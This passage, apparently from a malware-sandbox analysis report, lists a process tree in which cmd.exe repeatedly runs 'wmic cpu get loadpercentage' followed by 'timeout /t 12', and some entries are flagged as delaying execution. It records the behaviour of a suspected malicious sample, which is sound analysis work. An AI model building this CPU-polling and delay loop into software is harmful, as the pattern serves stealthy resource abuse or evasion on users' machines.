C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4820
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1360
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4636
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2580
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1780
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2780
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3140
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1628
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2308
-
